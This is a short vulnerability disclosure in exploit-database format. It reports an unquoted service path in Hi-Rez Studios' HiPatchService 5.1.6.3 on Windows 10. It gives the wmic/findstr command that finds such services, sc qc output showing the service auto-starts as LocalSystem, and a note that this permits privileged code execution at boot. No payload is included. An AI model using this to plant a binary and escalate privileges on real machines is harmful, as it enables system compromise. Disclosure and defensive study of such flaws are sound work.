Hi-Rez Studios 5.1.6.3 Exploit, 'HiPatchService' Unquoted Service Path

# Exploit Title: Hi-Rez Studios 5.1.6.3 - 'HiPatchService' Unquoted Service Path
# Dicovery by: Ekrem Can Kök
# Discovery Date: 2021-03-22
# Vendor Homepage: https://www.hirezstudios.com
# Version: 5.1.6.3
# Tested on: Windows 10 Pro x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\" | findstr /i "HiPatchService" | findstr /i /v """

Hi-Rez Studios Authenticate and Update Service HiPatchService C:\Program Files (x86)\Hi-Rez Studios\HiPatchService.exe Auto

# Service info:

C:\>sc qc "HiPatchService"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HiPatchService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\Hi-Rez Studios\HiPatchService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Hi-Rez Studios Authenticate and Update Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.

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